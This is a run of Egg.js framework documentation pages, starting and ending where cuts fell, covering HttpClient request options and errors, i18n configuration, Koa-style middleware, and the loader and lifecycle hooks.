    // httpbin.org 不支持 stream 模式，使用本地 stream 接口代替
    const url = `${ctx.protocol}://${ctx.host}/stream`;
    const result = await ctx.httpClient.request(url, {
      // 必须指定 method，支持 POST，PUT
      method: 'POST',
      // 以 stream 模式提交
      stream: fileStream,
    });
    ctx.status = result.status;
    ctx.set(result.headers);
    ctx.body = result.data;
    // 响应最终会是类似以下的结果：
    // {"streamSize":574}
  }
}
```

## options 参数详解

由于 HTTP 请求的复杂性，导致 `httpClient.request(url, options)` 的 options 参数会非常多。
接下来将以参数说明和代码配合一起讲解每个可选参数的实际用途。

### HttpClient 默认全局配置

```ts
// config/config.default.ts
export default {
  httpClient: {
    // 是否开启本地 DNS 缓存，默认关闭，开启后有两个特性
    // 1. 所有 DNS 查询都会默认优先使用缓存的，即使 DNS 查询错误也不影响应用
    // 2. 对同一个域名，在 dnsCacheLookupInterval 的间隔内（默认 10s）只会查询一次
    enableDNSCache: false,
    // 对同一个域名进行 DNS 查询的最小间隔时间
    dnsCacheLookupInterval: 10000,
    // DNS 同时缓存的最大域名数量，默认 1000
    dnsCacheMaxLength: 1000,

    request: {
      // 默认 request 超时时间
      timeout: 3000,
    },
  },
};
```

应用可以通过 `config/config.default.ts` 覆盖此配置。

### `data: Object`

需要发送的请求数据，根据 `method` 自动选择正确的数据处理方式。

* GET、HEAD：通过 `querystring.stringify(data)` 处理后拼接到 url 的 query 参数上。
* POST、PUT 和 DELETE 等：需要根据 `contentType` 做进一步判断处理。
  * `contentType = json`：通过 `JSON.stringify(data)` 处理，并设置为 body 发送。
  * 其他：通过 `querystring.stringify(data)` 处理，并设置为 body 发送。

```ts
// GET + data
ctx.httpClient.request(url, {
  data: { foo: 'bar' },
});

// POST + data
ctx.httpClient.request(url, {
  method: 'POST',
  data: { foo: 'bar' },
});

// POST + JSON + data
ctx.httpClient.request(url, {
  method: 'POST',
  contentType: 'json',
  data: { foo: 'bar' },
});
```

### `dataAsQueryString: Boolean`

如果设置了 `dataAsQueryString=true`，即使在 POST 请求下，
也会将 `options.data` 经 `querystring.stringify` 处理后拼接到 `url` 的 query 参数上。

此设置适用于需要以 `stream` 发送数据，并且附带额外的请求参数以 `url` query 形式传递的场景：

```ts
ctx.httpClient.request(url, {
  method: 'POST',
  dataAsQueryString: true,
  data: {
    // 通常是权限验证参数，如 access token
    accessToken: 'some access token value',
  },
  stream: myFileStream,
});
```

### `content: String|Buffer`

发送请求正文。若设置此参数，将直接忽略 `data` 参数。

```ts
ctx.httpClient.request(url, {
  method: 'POST',
  // 直接发送原始 XML 数据，不需 HttpClient 经行特殊处理
  content: '<xml><hello>world</hello></xml>',
  headers: {
    'content-type': 'text/html',
  },
});
```

### `files: Mixed`

文件上传，支持以下格式：`String | ReadStream | Buffer | Array | Object`。

```ts
ctx.httpClient.request(url, {
  method: 'POST',
  files: '/path/to/read',
  data: {
    foo: 'other fields',
  },
});
```

多文件上传：

```ts
ctx.httpClient.request(url, {
  method: 'POST',
  files: {
    file1: '/path/to/read',
    file2: fs.createReadStream(__filename),
    file3: Buffer.from('mock file content'),
  },
  data: {
    foo: 'other fields',
  },
});
```

### `stream: ReadStream`

设置发送请求正文的可读数据流，默认值为 `null`。一旦设置了此参数，`HttpClient` 将忽略 `data` 和 `content`。

```ts
ctx.httpClient.request(url, {
  method: 'POST',
  stream: fs.createReadStream('/path/to/read'),
});
```

### `writeStream: WriteStream`

设置接收响应数据的可写数据流，默认值为 `null`。一旦设置此参数，返回值 `result.data` 将被设置为 `null`，因数据已写入 `writeStream`。

```ts
ctx.httpClient.request(url, {
  writeStream: fs.createWriteStream('/path/to/store'),
});
```

### `consumeWriteStream: Boolean`

是否等待 `writeStream` 完全写完才算响应接收完毕，默认为 `true`。此参数建议保留默认值，除非你明确知道其可能的副作用。

### `method: String`

设置请求方法，默认为 `GET`。支持 `GET`、`POST`、`PUT`、`DELETE`、`PATCH` 等 [所有 HTTP 方法](https://nodejs.org/api/http.html#http_http_methods)。

### `contentType: String`

设置请求数据格式，默认为 `undefined`。`HttpClient` 会根据 `data` 和 `content` 自动设置。`data` 为 object 时，默认设为 `form`。支持 `json` 格式。

例如，以 JSON 格式发送 `data`：

```ts
ctx.httpClient.request(url, {
  method: 'POST',
  data: {
    foo: 'bar',
    now: Date.now(),
  },
  contentType: 'json',
});
```

### `dataType: String`

设置响应数据格式，默认不处理，直接返回 buffer。支持 `text` 和 `json`。

**注意：若设为 `json`，解析失败则抛出 `JSONResponseFormatError` 异常。**

```ts
const jsonResult = await ctx.httpClient.request(url, {
  dataType: 'json',
});
console.log(jsonResult.data);

const htmlResult = await ctx.httpClient.request(url, {
  dataType: 'text',
});
console.log(htmlResult.data);
```

### `fixJSONCtlChars: Boolean`

是否自动过滤特殊控制字符（U+0000～U+001F），默认为 `false`。某些 CGI 系统返回的 JSON 可能含有这些字符。

```ts
ctx.httpClient.request(url, {
  fixJSONCtlChars: true,
  dataType: 'json',
});
```

### `headers: Object`

自定义请求头。

```ts
ctx.httpClient.request(url, {
  headers: {
    'x-foo': 'bar',
  },
});
```

### `timeout: Number|Array`

请求超时时间，默认是 `[5000, 5000]`，即创建连接超时是 5 秒，接收响应超时是 5 秒。

```ts
ctx.httpClient.request(url, {
  // 创建连接超时 3 秒，接收响应超时 3 秒
  timeout: 3000,
});

ctx.httpClient.request(url, {
  // 创建连接超时 1 秒，接收响应超时 30 秒，用于响应比较大的场景
  timeout: [1000, 30000],
});
```

### `agent: HttpAgent`

允许通过此参数覆盖默认的 HttpAgent，如果你不想开启 KeepAlive，可以设置此参数为 `false`。

```ts
ctx.httpClient.request(url, {
  agent: false,
});
```

### `httpsAgent: HttpsAgent`

允许通过此参数覆盖默认的 HttpsAgent，如果你不想开启 KeepAlive，可以设置此参数为 `false`。

```ts
ctx.httpClient.request(url, {
  httpsAgent: false,
});
```

### `auth: String`

简单登录授权（Basic Authentication）参数，将以明文方式将登录信息以 `Authorization` 请求头发送出去。

```ts
ctx.httpClient.request(url, {
  // 参数必须按照 `user:password` 格式设置
  auth: 'foo:bar',
});
```

### `digestAuth: String`

摘要登录授权（Digest Authentication）参数，设置此参数会自动对 401 响应尝试生成 `Authorization` 请求头，尝试以授权方式请求一次。

```ts
ctx.httpClient.request(url, {
  // 参数必须按照 `user:password` 格式设置
  digestAuth: 'foo:bar',
});
```

### `followRedirect: Boolean`

是否自动跟进 3xx 的跳转响应，默认是 `false`。

```ts
ctx.httpClient.request(url, {
  followRedirect: true,
});
```

### `maxRedirects: Number`

设置最大自动跳转次数，避免循环跳转无法终止，默认是 10 次。此参数不宜设置过大，它只在 `followRedirect=True` 情况下才会生效。

```ts
ctx.httpClient.request(url, {
  followRedirect: true,
  // 最多自动跳转 5 次
  maxRedirects: 5,
});
```

### `formatRedirectUrl: Function(from, to)`

允许通过 `formatRedirectUrl` 自定义实现 302、301 等跳转 URL 的拼接，默认是 `url.resolve(from, to)`。

```ts
ctx.httpClient.request(url, {
  formatRedirectUrl: (from, to) => {
    // 比如可以在这里修正跳转不正确的 URL
    if (to === '//foo/') {
      to = '/foo';
    }
    return url.resolve(from, to);
  },
});
```

### `beforeRequest: Function(options)`

HttpClient 在请求正式发送之前，会尝试调用 `beforeRequest` 钩子，允许我们在这里对请求参数做最后一次修改。

```ts
ctx.httpClient.request(url, {
  beforeRequest: (options) => {
    // 比如可以在这里设置全局请求 ID，便于日志跟踪
    options.headers['x-request-id'] = uuid.v1();
  },
});
```

### `streaming: Boolean`

是否直接返回响应流，默认为 `false`。一旦启用 `streaming`，HttpClient 会在拿到响应对象 res 之后立即返回，此时 `result.headers` 和 `result.status` 已可读取，只是没有读取数据 `data`。

```ts
const result = await ctx.httpClient.request(url, {
  streaming: true,
});

console.log(result.status, result.data);
// result.res 是一个 ReadStream 对象
ctx.body = result.res;
```

**注意**：如果 res 不是直接传递给 body，那么我们必须消费这个 stream 并且做好 `error` 事件的处理。

### `gzip: Boolean`

是否支持 gzip 响应格式，默认为 `false`。开启 gzip 之后，HttpClient 将自动设置 `Accept-Encoding: gzip` 请求头，并且会自动解压带有 `Content-Encoding: gzip` 响应头的数据。

```ts
ctx.httpClient.request(url, {
  gzip: true,
});
```

### `timing: Boolean`

是否开启请求各阶段的时间测量，默认为 `false`。开启 timing 之后，可以通过 `result.res.timing` 拿到这次 HTTP 请求各阶段的时间测量值（单位是毫秒）。
通过这些测量值，我们可以非常方便地定位到这次请求最慢的环节发生在哪个阶段。效果类似于 Chrome network timing。

timing 各阶段测量值解析：

* queuing：分配 socket 的耗时
* dnslookup：DNS 查询耗时
* connected：socket 三次握手连接成功耗时
* requestSent：请求数据完整发送结束耗时
* waiting：收到第一个字节响应数据耗时
* contentDownload：全部响应数据接收完毕耗时

```ts
const result = await ctx.httpClient.request(url, {
  timing: true,
});
console.log(result.res.timing);
// {
//   "queuing": 29,
//   "dnslookup": 37,
//   "connected": 370,
//   "requestSent": 1001,
//   "waiting": 1833,
//   "contentDownload": 3416
// }
```

### `ca`、`rejectUnauthorized`、`pfx`、`key`、`cert`、`passphrase`、`ciphers` 和 `secureProtocol`

这几个参数都是透传给 \[HTTPS] 模块的参数，具体可查看 [`https.request(options, callback)`](https://nodejs.org/api/https.html#https_https_request_options_callback)。

## 调试辅助

如果你需要对 HttpClient 的请求进行抓包调试，可以添加以下配置到 `config/config.local.ts`：

```ts
// config/config.local.ts
export default () => {
  const config = {};

  // add http_proxy to httpclient
  if (process.env.http_proxy) {
    config.httpclient = {
      request: {
        enableProxy: true,
        rejectUnauthorized: false,
        proxy: process.env.http_proxy,
      },
    };
  }

  return config;
};
```

然后启动抓包工具，如 \[Charles] 或 \[Fiddler]。通过以下指令启动应用：

```bash
$ http_proxy=http://127.0.0.1:8888 npm run dev
```

操作完成后，所有通过 HttpClient 发出的请求都可以在抓包工具中查看。

## 常见错误

### 创建连接超时

* 异常名称：`ConnectionTimeoutError`
* 出现场景：通常是 DNS 查询较慢或者客户端与服务端网络较慢导致。
* 排查建议：适当增大 `timeout` 参数。

### 服务响应超时

* 异常名称：`ResponseTimeoutError`
* 出现场景：客户端与服务端网络较慢，响应数据较大时发生。
* 排查建议：适当增大 `timeout` 参数。

### 服务主动断开连接

* 异常名称：`ResponseError, code: ECONNRESET`
* 出现场景：服务端主动断开 socket 连接，导致 HTTP 请求链路异常。
* 排查建议：检查服务端是否发生网络异常。

### 服务不可达

* 异常名称：`RequestError, code: ECONNREFUSED, status: -1`
* 出现场景：请求的 URL 所属 IP 或端口无法连接。
* 排查建议：确保 IP 或端口设置正确。

### 域名不存在

* 异常名称：`RequestError, code: ENOTFOUND, status: -1`
* 出现场景：请求的 URL 域名无法通过 DNS 解析。
* 排查建议：确保域名存在，检查 DNS 服务配置。

### JSON 响应数据格式错误

* 异常名称：`JSONResponseFormatError`
* 出现场景：设置 `dataType=json` 但响应数据不是 JSON 格式时抛出。
* 排查建议：确保服务端返回正确的 JSON 格式数据。

## 全局 `request` 和 `response` 事件

在企业应用场景中，常常会有统一 tracer 日志的需求。
为了方便在 app 层面统一监听 HttpClient 的请求和响应，我们约定了全局 `request` 和 `response` 事件来暴露这两个事件。

```
    init options
        |
        V
    emit `request` event
        |
        V
    send request and receive response
        |
        V
    emit `response` event
        |
        V
       end
```

### `request` 事件：发生在网络操作发生之前

请求发送之前，会触发一个 `request` 事件，允许对请求做拦截。

```js
app.httpClient.on('request', (req) => {
  req.url; // 请求 URL
  req.ctx; // 发起这次请求的当前上下文

  // 可以在这里设置一些 trace headers，方便全链路跟踪
});
```

### `response` 事件：发生在网络操作结束之后

请求结束之后会触发一个 `response` 事件，这样外部就可以订阅这个事件来打印日志。

```js
app.httpClient.on('response', (result) => {
  result.res.status; // 响应状态码
  result.ctx; // 发起这次请求的当前上下文
  result.req; // 对应的 req 对象，即 request 事件里的那个 req
});
```

## 示例代码

完整示例代码可以在 [eggjs/examples/httpclient](https://github.com/eggjs/examples/blob/master/httpclient) 找到。

其他参考链接：

* [urllib](https://github.com/node-modules/urllib)
* [httpclient](https://github.com/eggjs/egg/blob/next/packages/egg/src/lib/core/httpclient.ts)
* [formstream](https://github.com/node-modules/formstream)
* [http](https://nodejs.org/api/http.html)
* [https](https://nodejs.org/api/https.html)
* [charles](https://www.charlesproxy.com/)
* [fiddler](http://www.telerik.com/fiddler)

---

---
url: /core/i18n.md
---

For developing the multi-language application, build-in I18n support by [@eggjs/i18n](https://github.com/eggjs/egg/tree/next/plugins/i18n) plugin

## Default Language

Default `en-US`. Assume that we want to switch the default language to Simplified Chinese：

```js
// config/config.default.js
exports.i18n = {
  defaultLocale: 'zh-CN',
};
```

## Switch Language

Here we have some ways to switch the application's current language (Modified records will set to the cookie `locale`), the next request will use the language setting directly.

Priority from high to low:

1. query: `/?locale=en-US`
2. cookie: `locale=zh-TW`
3. header: `Accept-Language: zh-CN,zh;q=0.5`

If want to modify parameter name of query or cookie

```js
// config/config.default.js
exports.i18n = {
  queryField: 'locale',
  cookieField: 'locale',
  // Cookie default expired after one year, the unit is ms if set as Number
  cookieMaxAge: '1y',
};
```

## Writing I18n Multi-language Documents

Configuration of multi-language are independent, stored in `config/locale/*.js`

```
- config/locale/
  - en-US.js
  - zh-CN.js
  - zh-TW.js
```

Not only take effects in the application directory, but also in the directory of framework or plugin `config/locale`

**Note: It's locale, not locals.**

Example:

```js
// config/locale/zh-CN.js
module.exports = {
  Email: '邮箱',
};
```

Or using JSON file:

```json
// config/locale/zh-CN.json
{
  "Email": "邮箱"
}
```

## Getting Multi-language Texts

Use `__` (Alias: `gettext`) function to get the multi-language texts under locale directory

\*\*Note: `**` is two underscores\_\_

Take above multi-language configuration as example:

```js
ctx.__('Email');
// zh-CN => 邮箱
// en-US => Email
```

If texts contain format function like `%s`，`%j`, we can call by the way similar to [`util.format()`](https://nodejs.org/api/util.html#util_util_format_format_args)

```js
// config/locale/zh-CN.js
module.exports = {
  'Welcome back, %s!': '欢迎回来，%s!',
};

ctx.__('Welcome back, %s!', 'Shawn');
// zh-CN => 欢迎回来，Shawn!
// en-US => Welcome back, Shawn!
```

Support array, subscript and placeholder, such as

```js
// config/locale/zh-CN.js
module.exports = {
  'Hello {0}! My name is {1}.': '你好 {0}! 我的名字叫 {1}。',
};

ctx.__('Hello {0}! My name is {1}.', ['foo', 'bar']);
// zh-CN => 你好 foo！我的名字叫 bar。
// en-US => Hello foo! My name is bar.
```

### Use in Controller

```js
class HomeController extends Controller {
  async index() {
    const ctx = this.ctx;
    ctx.body = {
      message: ctx.__('Welcome back, %s!', ctx.user.name)
      // or use gettext, it is a alias of __ function
      // message: ctx.gettext('Welcome back', ctx.user.name)
      user: ctx.user,
    };
  }
}
```

### Use in View

Assume we are using template engine [Nunjucks](https://github.com/eggjs/egg-view-nunjucks)

```html
<li>{{ __('Email') }}: {{ user.email }}</li>
<li>{{ __('Welcome back, %s!', user.name) }}</li>
<li>{{ __('Hello {0}! My name is {1}.', ['foo', 'bar']) }}</li>
```

---

---
url: /zh-CN/basics/middleware.md
---
# Koa 中间件

在[前面的章节](../intro/egg-and-koa.md)中，我们介绍了 Egg 是基于 Koa 实现的，所以 Egg 的中间件形式和 Koa 的中间件形式是一样的，都是基于[洋葱圈模型](../intro/egg-and-koa.md#middleware)。每次我们编写一个中间件，就相当于在洋葱外面包了一层。

## 编写中间件

### 写法

我们首先来通过编写一个简单的 gzip 中间件，了解中间件的写法。

```js
// app/middleware/gzip.js
const isJSON = require('koa-is-json');
const zlib = require('zlib');

async function gzip(ctx, next) {
  await next();

  // 后续中间件执行完成后，将响应体转换成 gzip
  let body = ctx.body;
  if (!body) return;
  if (isJSON(body)) body = JSON.stringify(body);

  // 设置 gzip body，修正响应头
  const stream = zlib.createGzip();
  stream.end(body);
  ctx.body = stream;
  ctx.set('Content-Encoding', 'gzip');
}
```

可以看到，框架的中间件和 Koa 的中间件写法是一模一样的，所以任何 Koa 的中间件都可以直接被框架使用。

### 配置

一般来说，中间件也会有自己的配置。在框架中，一个完整的中间件包含了配置处理。我们约定一个中间件是一个放置于 `app/middleware` 目录下的单独文件。它需要 `exports` 一个普通的函数，接受两个参数：

* `options`：中间件的配置项，框架会将 `app.config[${middlewareName}]` 传递进来。
* `app`：当前应用 `Application` 的实例。

下面我们对上文中的 gzip 中间件做一个简单的优化，使其支持指定只有当体积大于配置的 `threshold` 时才进行 gzip 压缩。我们在 `app/middleware` 目录下新建 `gzip.js` 文件。

```js
// app/middleware/gzip.js
const isJSON = require('koa-is-json');
const zlib = require('zlib');

module.exports = (options) => {
  return async function gzip(ctx, next) {
    await next();

    // 后续中间件执行完成后，将响应体转换成 gzip
    let body = ctx.body;
    if (!body) return;

    // 支持 options.threshold
    if (options.threshold && ctx.length < options.threshold) return;

    if (isJSON(body)) body = JSON.stringify(body);

    // 设置 gzip body，修正响应头
    const stream = zlib.createGzip();
    stream.end(body);
    ctx.body = stream;
    ctx.set('Content-Encoding', 'gzip');
  };
};
```

## 使用中间件

中间件编写完成后，我们还需要手动挂载，支持以下方式：

### 在应用中使用中间件

在应用中，我们可以完全通过配置来加载自定义的中间件，并决定它们的顺序。

如果我们需要加载上面的 gzip 中间件，在 `config.default.js` 中加入下面的配置就完成了中间件的开启和配置：

```js
module.exports = {
  // 配置需要的中间件，数组顺序即为中间件的加载顺序
  middleware: ['gzip'],

  // 配置 gzip 中间件的配置
  gzip: {
    threshold: 1024, // 小于 1k 的响应体不压缩
  },
};
```

该配置最终将在启动时合并到 `app.config.appMiddleware`。

### 在框架和插件中使用中间件

框架和插件不支持在 `config.default.js` 中匹配 `middleware`，需要通过以下方式：

```js
// app.js
module.exports = (app) => {
  // 在中间件最前面统计请求时间
  app.config.coreMiddleware.unshift('report');
};

// app/middleware/report.js
module.exports = () => {
  return async function (ctx, next) {
    const startTime = Date.now();
    await next();
    // 上报请求时间
    reportTime(Date.now() - startTime);
  };
};
```

应用层定义的中间件（`app.config.appMiddleware`）和框架默认中间件（`app.config.coreMiddleware`）都会被加载器加载，并挂载到 `app.middleware` 上。

### 在 router 中使用中间件

以上两种方式配置的中间件是全局的，会处理每一次请求。
如果你只想针对单个路由生效，可以直接在 `app/router.js` 中实例化和挂载，如下：

```js
module.exports = (app) => {
  const gzip = app.middleware.gzip({ threshold: 1024 });
  app.router.get('/needgzip', gzip, app.controller.handler);
};
```

## 框架默认中间件

除了应用层加载中间件之外，框架自身和其他插件也会加载许多中间件。所有这些自带中间件的配置项都可以通过修改配置文件中的同名配置项来进行更改。例如，框架自带的中间件列表中有一个名为 `bodyParser` 的中间件（框架的加载器会将文件名中的分隔符都转换为驼峰形式的变量名）。如果我们想要修改 `bodyParser` 的配置，只需要在 `config/config.default.js` 中编写如下内容：

```js
module.exports = {
  bodyParser: {
    jsonLimit: '10mb',
  },
};
```

**注意：框架和插件加载的中间件会在应用层配置的中间件之前被加载。框架默认中间件不能被应用层中间件覆盖。如果应用层有自定义同名中间件，启动时将会报错。**

## 使用 Koa 的中间件

在框架里面可以非常容易地引入 Koa 中间件生态。

以 [`koa-compress`](https://github.com/koajs/compress) 为例，在 Koa 中使用时：

```js
const koa = require('koa');
const compress = require('koa-compress');

const app = new koa();

const options = { threshold: 2048 };
app.use(compress(options));
```

我们按照框架的规范来在应用中加载这个 Koa 的中间件：

```js
// app/middleware/compress.js
// koa-compress 暴露的接口（`(options) => middleware`）和框架对中间件要求一致
module.exports = require('koa-compress');
```

```js
// config/config.default.js
module.exports = {
  middleware: ['compress'],
  compress: {
    threshold: 2048,
  },
};
```

如果使用到的 Koa 中间件不符合入参规范，则可以自行处理下：

```js
// config/config.default.js
module.exports = {
  webpack: {
    compiler: {},
    others: {},
  },
};

// app/middleware/webpack.js
const webpackMiddleware = require('some-koa-middleware');

module.exports = (options, app) => {
  return webpackMiddleware(options.compiler, options.others);
};
```

## 通用配置

无论是应用层加载的中间件还是框架自带中间件，都支持几个通用的配置项：

* `enable`：控制中间件是否开启。
* `match`：设置只有符合某些规则的请求才会经过这个中间件。
* `ignore`：设置符合某些规则的请求不经过这个中间件。

### enable

如果我们的应用并不需要默认的 `bodyParser` 中间件来进行请求体的解析，此时我们可以通过配置 `enable` 为 `false` 来关闭它。

```js
module.exports = {
  bodyParser: {
    enable: false,
  },
};
```

### match 和 ignore

`match` 和 `ignore` 支持的参数都一样，只是作用完全相反，`match` 和 `ignore` 不允许同时配置。

如果我们想让 `gzip` 只针对 `/static` 前缀开头的 url 请求开启，我们可以配置 `match` 选项。

```js
module.exports = {
  gzip: {
    match: '/static',
  },
};
```

`match` 和 `ignore` 支持多种类型的配置方式：

1. 字符串：当参数为字符串类型时，配置的是一个 url 的路径前缀，所有以配置的字符串作为前缀的 url 都会匹配上。当然，你也可以直接使用字符串数组。
2. 正则：当参数为正则时，直接匹配满足正则验证的 url 的路径。
3. 函数：当参数为一个函数时，会将请求上下文传递给这个函数，最终取函数返回的结果（`true`/`false`）来判断是否匹配。

```js
module.exports = {
  gzip: {
    match(ctx) {
      // 只有 iOS 设备才开启
      const reg = /iphone|ipad|ipod/i;
      return reg.test(ctx.get('user-agent'));
    },
  },
};
```

有关更多的 `match` 和 `ignore` 配置情况，详见 [@eggjs/path-matching](https://github.com/eggjs/egg/tree/next/packages/path-matching)。

---

---
url: /advanced/loader.md
---

The most importance of Egg which enhanced Koa is that it is based on a certain agreement, code will be placed in different directories according to the functional differences, it significantly reduces development costs. Loader supports this set of conventions and abstracts that many low-level APIs could be extended.

## Application, Framework and Plugin

Egg is a low-level framework, applications could use it directly, but Egg only has a few default plugins, we need to configure plugins to extend features in application, such as MySQL.

```js
// application configuration
// package.json
{
  "dependencies": {
    "egg": "^2.0.0",
    "egg-mysql": "^3.0.0"
  }
}

// config/plugin.js
module.exports = {
  mysql: {
    enable: true,
    package: 'egg-mysql',
  },
}
```

With the increasing number of applications, we find most of them have similar configurations, so we could extend a new framework based on Egg, which makes application configurations simpler.

```js
// framework configuration
// package.json
{
  "name": "framework1",
  "version": "1.0.0",
  "dependencies": {
    "egg-mysql": "^3.0.0",
    "egg-view-nunjucks": "^2.0.0"
  }
}

// config/plugin.js
module.exports = {
  mysql: {
    enable: false,
    package: 'egg-mysql',
  },
  view: {
    enable: false,
    package: 'egg-view-nunjucks',
  }
}

// application configuration
// package.json
{
  "dependencies": {
    "framework1": "^1.0.0",
  }
}

// config/plugin.js
module.exports = {
  // enable plugins
  mysql: true,
  view: true,
}
```

From the scene above we can see the relationship of application, plugin and framework.

* We implement business logics in application, and specify a framework to run, so we could configure plugin to meet a special scene feature (such as MySQL).
* Plugin only performs specific function, when two separate functions are interdependent, they still need to be separated into two plugins, and requires configuration.
* Framework is a launcher (default is Egg), which is indispensable to run. Framework is also a wrapper, it aggregates plugins to provide functions unitedly, and it can also configure plugins.
* We can extend a new framework based on framework, which means that **framework can be inherited infinitely**, like class inheritance.

```
+-----------------------------------+--------+
|      app1, app2, app3, app4       |        |
+-----+--------------+--------------+        |
|     |              |  framework3  |        |
+     |  framework1  +--------------+ plugin |
|     |              |  framework2  |        |
+     +--------------+--------------+        |
|                   Egg             |        |
+-----------------------------------+--------|
|                   Koa                      |
+-----------------------------------+--------+
```

## LoadUnit

Egg regards application, framework and plugin as loadUnit, because they are similar in code structure, here is the directory structure:

```
loadUnit
├── package.json
├── app.js
├── agent.js
├── app
│   ├── extend
│   |   ├── helper.js
│   |   ├── request.js
│   |   ├── response.js
│   |   ├── context.js
│   |   ├── application.js
│   |   └── agent.js
│   ├── service
│   ├── middleware
│   └── router.js
└── config
    ├── config.default.js
    ├── config.prod.js
    ├── config.test.js
    ├── config.local.js
    └── config.unittest.js
```

However, there are still some differences:

| File                   | Application | Framework | Plugin |
| ---------------------- | ----------- | --------- | ------ |
| app/router.js          | ✔︎           |           |
| app/controller         | ✔︎           |           |
| app/middleware         | ✔︎           | ✔︎         | ✔︎      |
| app/service            | ✔︎           | ✔︎         | ✔︎      |
| app/extend             | ✔︎           | ✔︎         | ✔︎      |
| app.js                 | ✔︎           | ✔︎         | ✔︎      |
| agent.js               | ✔︎           | ✔︎         | ✔︎      |
| config/config.{env}.js | ✔︎           | ✔︎         | ✔︎      |
| config/plugin.js       | ✔︎           | ✔︎         |
| package.json           | ✔︎           | ✔︎         | ✔︎      |

During the loading process, Egg will traverse all loadUnits to load the files above(application, framework and plugin are different), the loading process has priority.

* Load according to `Plugin => Framework => Application`.
* The order of loading plugin depends on the dependencies, dependent plugins will be loaded first, independent plugins are loaded by the object key configuration order, see [Plugin](./plugin.md) for details.
* Frameworks are loaded by the order of inheritance, the lower the more priority.

For example, an application is configured with the following dependencies:

```
app
| ├── plugin2 (depends plugin3)
| └── plugin3
└── framework1
    | └── plugin1
    └── egg
```

The final loading order is:

```
=> plugin1
=> plugin3
=> plugin2
=> egg
=> framework1
=> app
```

The plugin1 is framework1's dependent plugin, the object key order of plugin1 after configuration merger is prior to plugin2/plugin3. Because of the dependencies between plugin2 and plugin3, the order is swapped. The framework1 inherits the Egg, so the order is after the egg. The application is the last to be loaded.

See [Loader.getLoadUnits](https://github.com/eggjs/egg-core/blob/65ea778a4f2156a9cebd3951dac12c4f9455e636/lib/loader/egg_loader.js#L233) method for details.

### File Order

The files that will be loaded by default are listed above. Egg will load files by the following order, each file or directory will be loaded according to loadUnit order (application, framework and plugin are different):

* Loading [plugin](./plugin.md), find application and framework, loading `config/plugin.js`
* Loading [config](../basics/config.md), traverse loadUnit to load `config/config.{env}.js`
* Loading [extend](../basics/extend.md), traverse loadUnit to load `app/extend/xx.js`
* [Application startup configuration](../basics/app-start.md), traverse loadUnit to load `app.js` and `agent.js`
* Loading [service](../basics/service.md), traverse loadUnit to load `app/service` directory
* Loading [middleware](../basics/middleware.md), traverse loadUnit to load `app/middleware` directory
* Loading [controller](../basics/controller.md), loading application's `app/controller` directory
* Loading [router](../basics/router.md), loading application's `app/router.js`

Note:

* Same name will be override in loading, for example, if we want to override `ctx.ip` we could define ip in application's `app/extend/context.js` directly.
* See [framework development](./framework.md) for detail application launch order.

### Life Cycles

The framework has provided you several functions to handle during the whole life cycle:

* `configWillLoad`: All the config files are ready to load, so this is the LAST chance to modify them.
* `configDidLoad`: When all the config files have been loaded.
* `didLoad`: When all the files have been loaded.
* `willReady`: When all the plugins are ready.
* `didReady`: When all the workers are ready.
* `serverDidReady`: When the server is ready.
* `beforeClose`: Before the application is closed.

Here're the definations:

```js
// app.js or agent.js
class AppBootHook {
  constructor(app) {
    this.app = app;
  }

  configWillLoad() {
    // Ready to call configDidLoad,
    // Config, plugin files are referred,
    // this is the last chance to modify the config.
  }

  configDidLoad() {
    // Config, plugin files have been loaded.
  }

  async didLoad() {
    // All files have loaded, start plugin here.
  }

  async willReady() {
    // All plugins have started, can do some thing before app ready
  }

  async didReady() {
    // Worker is ready, can do some things
    // don't need to block the app boot.
  }

  async serverDidReady() {
    // Server is listening.
  }

  async beforeClose() {
    // Do some thing before app close.
  }
}

module.exports = AppBootHook;
```

The framework will automatically load and initialize this class after developers have defined `app.js` and `agenet.js` in the form of class, and it will call the corresponding methods during each of the life cycles.

Here's the image of starting process:

![](https://user-images.githubusercontent.com/40081831/50559449-2d3cdc80-0d32-11e9-96f2-42b3cc56d5d3.png)

**Notice: We have an expiring time limitation when using `beforeClose` to close the processing of the framework. If a worker has accepted the signal of exit but doesn't exit within the limit period, it will be FORCELY closed.**

If you need to modify the expiring time, please see [this document](https://github.com/eggjs/egg-cluster).

Deprecated methods:

## `beforeStart`

`beforeStart` is called during the loading process, all of its methods are running in parallel. So we usually execute some asynchronized methods (e.g: Check the state of connection, in [`egg-mysql`](https://github.com/eggjs/egg-mysql/blob/master/lib/mysql.js) we use this method to check the connection state with mysql). When all the tasks in `beforeStart` finished, the state will be `ready`. It's NOT recommended to excute a function that consumes too much time there, which will cause the expiration of application's start.plugin developers should use `didLoad` instead, for application developers, `willReady` is the replacer.

## `ready`

All the methods mounted on `ready` will be executed when load ends, and after all the methods in `beforeStart` have finished executing. By the time Http server's listening also starts. This means all the plugins are fully loaded and everything is ready, So we use it to process some tasks after start. For developers now, we use `didReady` instead.

## `beforeClose`

All the methods mounted on `beforeClose` are called in an inverted order after `close` method in app/agent instance is called. E.g: in [`egg`](https://github.com/eggjs/egg/blob/master/lib/egg.js), we close logger, remove listening methods ...,ect.Developers SHOULDN'T use `app.beforeClose` directly now, but in the form of class to implement `beforeClose` instead.

**We don't recommend to use this function in a PROD env, because the process may end before it finishes.**

What's more, we can use [`@eggjs/development`](https://github.com/eggjs/development#loader-trace) to see the loading process.

### File-Loading Rules

The framework will convert file names when loading files, because there is a difference between the file naming style and the API style. We recommend that files use underscores, while APIs use lower camel case. For examplem `app/service/user_info.js` will be converted to `app.service.userInfo`.

The framework also supports hyphens and camel case:

* `app/service/user-info.js` => `app.service.userInfo`
* `app/service/userInfo.js` => `app.service.userInfo`

Loader also provides [caseStyle](#caseStyle-string) to force the first letter case, such as make the first letter of the API upper case when loading the model, `app/model/user.js` => `app.model.User`, we can set `caseStyle: 'upper'`.

## Extend Loader

\[Loader] is a base class and provides some built-in methods based on the rules of the file loading, but itself does not call them in most cases, inherited classes call those methods.

* loadPlugin()
* loadConfig()
* loadAgentExtend()
* loadApplicationExtend()
* loadRequestExtend()
* loadResponseExtend()
* loadContextExtend()
* loadHelperExtend()
* loadCustomAgent()
* loadCustomApp()
* loadService()
* loadMiddleware()
* loadController()
* loadRouter()

Egg implements \[AppWorkerLoader] and \[AgentWorkerLoader] based on the Loader, inherited frameworks could make extensions based on these two classes, and **Extensions of the Loader can only be done in the framework**.

```js
// custom AppWorkerLoader
// lib/framework.js
const path = require('path');
const egg = require('egg');

class YadanAppWorkerLoader extends egg.AppWorkerLoader {
  constructor(opt) {
    super(opt);
    // custom initialization
  }

  loadConfig() {
